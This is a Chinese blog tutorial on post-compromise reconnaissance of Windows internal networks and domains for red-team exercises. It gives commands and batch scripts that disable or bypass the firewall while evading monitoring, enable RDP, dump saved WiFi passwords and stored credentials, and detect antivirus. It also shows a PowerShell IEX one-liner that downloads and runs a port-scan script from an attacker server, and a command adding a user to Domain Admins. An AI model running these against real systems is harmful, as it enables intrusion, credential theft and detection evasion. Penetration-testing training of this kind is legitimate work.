2024HW--->内网信息收集

2024-04-14 05:44
文章标签 信息 收集 2024hw

本文主要是介绍2024HW--->内网信息收集,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

来讲一下内网的信息收集(本来想更一下web漏洞的,但是既然看到了内网的信息收集,那么就来讲一下信息收集吧)

 

1.本地的信息收集

当我们拿下一台主机的时候,肯定要先对主机本身进行信息收集(无论是否在内网)。那么以下的信息收集命令则会在实战中经常用到

ipconfig  //查看网卡信息
systeminfo   //查看本机系统版本等信息

对于查看操作系统的架构,可以以下命令

echo %PROCESSOR_ARCHITECTURE%

这样可以有帮助我们要进行哪一种的工具利用 

查看本机的服务,不过不同的权限能查看到的服务也不同

wmic service list  brief

查看安装的软件以及版本

wmic product get name,version

查看进程信息

tasklist

查看启动项信息

wmic startup get command,caption

查看计划任务,当然了,不同额权限也是能看见不同的信息的

schtasks /query /fo LIST /v

查看本机的用户以及对应的sid

wmic useraccount get name ,SID

查看开放的端口

netstat -ano

查看对应打的补丁,(这个关乎到日后的提权,如果你是system的话当我没说)

wmic qfe get Caption,Description,HotFixID,InstalledOn

查看共享

wmic share get name,path,status

查看防火墙状态,开关防火墙(需要权限)

shell netsh firewall show stat   //查看防火墙状态
shell netsh firewall set opmode disable //关闭防火墙
shell netsh advfirewall set allprofiles state off   //关闭防火墙

查看防火墙配置

shell netsh firewall show config

但是有的时候直接关闭防火墙的动静太大了,这样会引起态势感知等设备的发现,于是我们可以设置防火墙的规则,让他放行相应的流量

netsh advfirewall firewall add rule name="pass nc"dir=in action=allow program="你的exe文件"

允许某一个端口流量放行

shell netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=9191 action=allow

开启3389端口(家庭版是不行的,别试了)

shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

如果遇到一些狡猾一点的管理员,有可能会将RDP端口改为不是3389!!!但是还是难不倒我们

shell REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

 看到这个先不要慌,我们先拿出计算器

 只要还是3389的话就还是小问题

如果我们要查看一下它的WiFi密码

shell for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr
‐i ‐v echo | netsh wlan show profiles %j key=clear

它真的能看见你连接过的WIFI密码 

查看当前的登录凭证,这个命令不建议用system权限去敲(这个原因我后面说)

shell cmdkey /list

查看arp缓存

shell arp -a

有的时候会暴露网段的信息 

查询各种用户

shell net localgroup administrators  //查看本地的管理员用户(不是system的权限,又存在域环境,但是以工作组登录)

net user  //查看当前本机的用户
net user /domain   //查看当前域的用户

查看当前电脑的杀毒软件,这个就很重要了,关乎到我们要不要免杀(不过一般都是直接上免杀的🐎)

wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname
/format:list

如果想要看一下这个人最近看了什么东西,那么也很好办(只能看pdf,或者link这些噢)

dir %APPDATA%\Microsoft\Windows\Recent

2.一键化自动脚本

如果我们进入到内网之后,要敲这么多命令,是不是很麻烦,那么有没有一键化的脚本呢?

插件大舞台,想用你就来

但是这样点来点去还是有一点麻烦,有没有直接一键的呢????

那么就来用一下bat脚本吧,这里提供两个脚本

@echo off
echo ############################## >>1.txt
ipconfig >>1.txt
echo ############################## >>1.txt
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >>1.txt
systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本" >>1.txt
echo ############################## >>1.txt
echo %PROCESSOR_ARCHITECTURE% >>1.txt

下面这个可能会有乱码,但是不重要,你把他复制出来就能看见了 

@echo off
chcp 65001 > nul
echo 开始信息收集 > 1.txt
echo --------------系统架构-------------- >> 1.txt
echo %PROCESSOR_ARCHITECTURE% >> 1.txt
chcp 65001 > nul
echo --------------启动项-------------- >> 1.txt
wmic startup get command,caption >> 1.txt
echo --------------本机用户-------------- >> 1.txt
wmic useraccount get name,SID >> 1.txt
echo --------------开放端口-------------- >> 1.txt
netstat -ano >> 1.txt
echo --------------防火墙-------------- >> 1.txt
netsh firewall show stat >> 1.txt
echo --------------防火墙配置-------------- >> 1.txt
netsh firewall show config >> 1.txt
echo ------------RDP端口(Oxd3d)-------------- >> 1.txt
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber >> 1.txt
echo --------------WIFI密码-------------- >> 1.txt
for /f "skip=9 tokens=1,2 delims=:" %%i in ('netsh wlan show profiles') do (echo %%j | findstr /i /v echo | netsh wlan show profiles %%j key=clear >> 1.txt
)
echo -------------arp缓存-------------- >> 1.txt
arp -a >> 1.txt
echo --------------本地管理员-------------- >> 1.txt
net localgroup administrators >> 1.txt
echo --------------杀软信息-------------- >> 1.txt
wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list >> 1.txt
echo --------------补丁版本-------------- >> 1.txt
wmic qfe get Caption,Description,HotFixID,InstalledOn >> 1.txt
echo ------------网卡以及系统------------ >> 1.txt
ipconfig >> 1.txt
systeminfo >> 1.txt

似乎还行吧 

3.内网IP扫描

先来讲个工具吧

1.Fscan

这个工具在内网经常用到,而且还很好用,堪称漏扫啊

fscan.exe   -h  192.168.246.1  -t 10000   -full 

如果你只是想扫一个c段落,就直接纸样就好

fscan.exe   -h 192.168.246.1/24  -t 10000  

还是很强大的,堪称内网的Xray AWVS这些,像永恒之蓝都能扫出来 

除了工具,来讲一下命令

3.ARP探测

arp.exe -t IP || 或者网段

但是似乎好像不太准确,扫描结果不太一样 

 4.内网端口扫描

这个的话,fscan也可以扫描出来,不过这里就来讲一些新的方式

1.Powershell无文件落地扫描

其实有一种高级的攻击,叫做无文件落地攻击(是不是听了这个名字也觉得很牛逼)

那么它的原理就是远程加载我们的文件,达到无文件落地的目的(虽然有可能直接暴露我们攻击机器的VPS,但是可以挂代理)

PowerSploit 是一款基于 PowerShell 的后渗透框架软件,包含了很多 PowerShell 的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。
首先找到这样的一个文件

 然后去将他放在VPS能被访问到的目录下,然后直接执行以下的命令

powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.246.1/Invoke-Portscan.ps1'); Import-Module .\Invoke-Portscan.ps1; Invoke-Portscan -Hosts 192.168.246.0/24 -T 5 -ports '445,8080,3389,80,3306,6379'

不过扫整个网段的端口会很慢(真tmd慢)而且它的线程最高就是5 ,逆天

直接忽略它的报错,它是能扫出来的

2.Nishang

Nishang 是一款针对 PowerShell 的渗透工具。nishang也是一款不可多得的好工具。非常的好用。
这个就不能只传一个文件上去了,需要传一整个我文件夹
先传一个nishang的zip,然后再去传一个unzip工具(解压文件夹),然后就去nuzip就好
然后就去它的主页执行以下扫描命令
powershell -command "Set-ExecutionPolicy remotesigned; Import-Module .\nishang\nishang.psm1; Invoke-PortScan -StartAddress 192.168.246.1 -EndAddress 192.168.246.255 -ResolveHost"

虽然是慢了点,但是还是可以扫出来的

哦对,不是扫IP,而是扫描端口
powershell -command "Set-ExecutionPolicy remotesigned; Import-Module .\nishang\nishang.psm1; Invoke-PortScan -StartAddress 192.168.246.1 -EndAddress 192.168.246.100 -ResolveHost -ScanPort -Ports 80,3389,445,3306"

但是呢,我总感觉这个不太好用,总是会报错,cs跑不出来,可能要直接远程桌面的效果会好一点

可以看见也是只跑出来了一个主机的端口

5.域内信息收集

1.域内的用户身份划分

当我们拿下一台机器的时候,我们有可能有以下的四种身份(分别对应)
  1. 本地普通用户(或者普通管理员)
  2. 本地管理员
  3. 域内管理员
  4. 域内普通用户(这个说不准,有可能也是管理员)
  • 如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息.
  • 而本地管理员用户和域内用户可以查询域内信息.
其原理是 : 域内的所有查询都是通过域控制器实现的(基于 LDAP 协议) , 而这个查询需要经过权限认证 , 所以 , 只有域 用户才拥有这个权限; 当域用户执行查询命令时 , 会自动使用 Kerberos 协议进行认证 , 无须额外输人账 号和密码

本地管理员Admmistrator权限可以直接提升为NtauthoritySystem权限,因此,在域中,除普通用户外,所有的机器都 有—个机器用户(用户名是机器名加上"$")。在本质上,机器的system用户对应的就是域里面的机器用户所以,使用 System权限可以运行域内的查询命令

意思就是说,当一个用户以普通身份登录的时候,但是当前又存在域环境,通过提权,提升到system权限,就可以对域信息进行查询!!!

举个栗子  我们普通用户(存在域环境)查询肯定是查询不了的

但是如果我换成administrator就不一样了,这个肯定是可以查询到的

那有些人就好奇了,我的普通管理员如果过了UAC能不能查呢??(不行!!!)

那如果getsystem呢?? (好吧,还是不行) 看来只有administrator才可以的!!

2.判断域环境是否存在

这三个都是能查看的

systeminfo
ipconfig /all
net view /domain
net config workstation
还有一个
net time /domain

这就要分成三种情况了(和net user  /domain差不多)

根本没有域环境

存在域环境,但是不是用的administrator登录,普通用户

域内用户

3.Net命令!!

这个命令就重要啦,对于无论是信息收集还是横向移动都很重要

net user   //查看本地用户
net user /domain  //查看域内用户
net use  //查看网络连接
net start  //查看当前服务,或者开启服务
Net Share   //查看网络共享
net localgroup  //查看本地用户组

下面来详细讲一下这个命令,这个只能在域控上执行

net group
命令格式: `Net group groupname {/add [/comment:"text "] | /delete} [/domain]`
有关参数说明:
键入不带参数的 Net group 显示服务器名称及服务器的组名称
∙`groupname` 要添加、扩展或删除的组
∙`/comment:"text "` 为新建组或现有组添加注释
∙`/domain` 在当前域的主域控制器中执行该操作,否则在本地计算机上执行操作
∙`username[ ...]` 列表显示要添加到组或从组中删除的一个或多个用户
∙`/add` 添加组或在组中添加用户名
∙`/delete` 删除组或从组中删除用户名
例如: `Net group ggg GHQ1 GHQ2 /add` 将现有用户帐号 GHQ1 GHQ2 添加到本地计算机的 ggg 组。
举个栗子
net group "Domain Admins"   "域内用户名字" /add
如果我们想要查询域内的有多少台计算机
net view /domain:域名

这些查出来的都是hostname

查看域内的组(这个不用在域控上也能查)

shell net group /domain

 所以我们一般都是直接去劫持Domain Admins 或者 Enterprise Admins

4.查找域控制器

net group "domain computers" /domain

这个可以用来查看域控,因为真实的域环境中可能不止有一台的计算机 

nltest /DCLIST:域名

这样,我们就能得到域控的名字是OWA,然后我们去ping它,就能获得它的ip了

5.查找域内用户信息

进入到一个域,怎么去查找用户的信息呢???

这是最简单的查找域内的用户的信息了

net user /domain

这样就能看见有几个用户了 

其实有一个很强大的命令工具 wmic

wmic useraccount get/all

这个直接可以看见各种牛鬼蛇神(bushi)了 ,这个能查看所有的用户。

 6.定位域管理员

上工具,这个还是可以的找的挺快的

PVEFindADUser.exe -current

然后就是netview工具了,这个比较逆天,可以定位到计算机上登录过的用户

netview.exe -d "域名"(不加就是查找当前域)

如果能看见域管登录过我们的账号,就可以直接抓密码了!!!(但是要是当前电脑是管理员才可以,如果是普通用户是不可以的)

这篇关于2024HW--->内网信息收集的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/902217

相关文章

JS常用组件收集

收集了一些平时遇到的前端比较优秀的组件,方便以后开发的时候查找!!! 函数工具: Lodash 页面固定: stickUp、jQuery.Pin 轮播: unslider、swiper 开关: switch 复选框: icheck 气泡: grumble 隐藏元素: Headroom

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

【北交大信息所AI-Max2】使用方法

BJTU信息所集群AI_MAX2使用方法 使用的前提是预约到相应的算力卡,拥有登录权限的账号密码,一般为导师组共用一个。 有浏览器、ssh工具就可以。 1.新建集群Terminal 浏览器登陆10.126.62.75 (如果是1集群把75改成66) 交互式开发 执行器选Terminal 密码随便设一个(需记住) 工作空间:私有数据、全部文件 加速器选GeForce_RTX_2080_Ti

【编程底层思考】垃圾收集机制,GC算法,垃圾收集器类型概述

Java的垃圾收集(Garbage Collection,GC)机制是Java语言的一大特色,它负责自动管理内存的回收,释放不再使用的对象所占用的内存。以下是对Java垃圾收集机制的详细介绍: 一、垃圾收集机制概述: 对象存活判断:垃圾收集器定期检查堆内存中的对象,判断哪些对象是“垃圾”,即不再被任何引用链直接或间接引用的对象。内存回收:将判断为垃圾的对象占用的内存进行回收,以便重新使用。

理解java虚拟机内存收集

学习《深入理解Java虚拟机》时个人的理解笔记 1、为什么要去了解垃圾收集和内存回收技术? 当需要排查各种内存溢出、内存泄漏问题时,当垃圾收集成为系统达到更高并发量的瓶颈时,我们就必须对这些“自动化”的技术实施必要的监控和调节。 2、“哲学三问”内存收集 what?when?how? 那些内存需要回收?什么时候回收?如何回收? 这是一个整体的问题,确定了什么状态的内存可以

Linux命令(11):系统信息查看命令

系统 # uname -a # 查看内核/操作系统/CPU信息# head -n 1 /etc/issue # 查看操作系统版本# cat /proc/cpuinfo # 查看CPU信息# hostname # 查看计算机名# lspci -tv # 列出所有PCI设备# lsusb -tv

【小迪安全笔记 V2022 】信息打点9~11

第9天 信息打点-CDN绕过篇&漏洞回链8接口探针&全网扫指&反向件 知识点: 0、CDN知识-工作原理及阻碍 1、CDN配置-域名&区域&类型 2、CDN绕过-靠谱十余种技战法 3、CDN绑定-HOSTS绑定指向访问 CDN 是构建在数据网络上的一种分布式的内容分发网。 CDN的作用是采用流媒体服务器集群技术,克服单机系统输出带宽及并发能力不足的缺点,可极大提升系统支持的并发流数目,减少或避

Weex入门教程之4,获取当前全局环境变量和配置信息(屏幕高度、宽度等)

$getConfig() 获取当前全局环境变量和配置信息。 Returns: config (object): 配置对象;bundleUrl (string): bundle 的 url;debug (boolean): 是否是调试模式;env (object): 环境对象; weexVersion (string): Weex sdk 版本;appName (string): 应用名字;

Python批量读取身份证信息录入系统和重命名

前言 大家好, 如果你对自动化处理身份证图片感兴趣,可以尝试以下操作:从身份证图片中快速提取信息,填入表格并提交到网页系统。如果你无法完成这个任务,我们将在“Python自动化办公2.0”课程中详细讲解实现整个过程。 实现过程概述: 模块与功能: re 模块:用于从 OCR 识别出的文本中提取所需的信息。 日期模块:计算年龄。 pandas:处理和操作表格数据。 PaddleOCR:百度的

linux上查看java最耗时的线程信息

找到JAVA进程pid ps -ef|grep java或则jps -mlv 找进行下耗时的线程TID 使用top -Hp pid可以查看某个进程的线程信息 -H 显示线程信息,-p指定pid top -Hp 10906 查看最耗时的 TID即线程id printf "%x\n" [tid] 转成16进制 java中的线程类相关信息 jstack 线程ID 可以查看某个线程的堆栈情况,特别对于h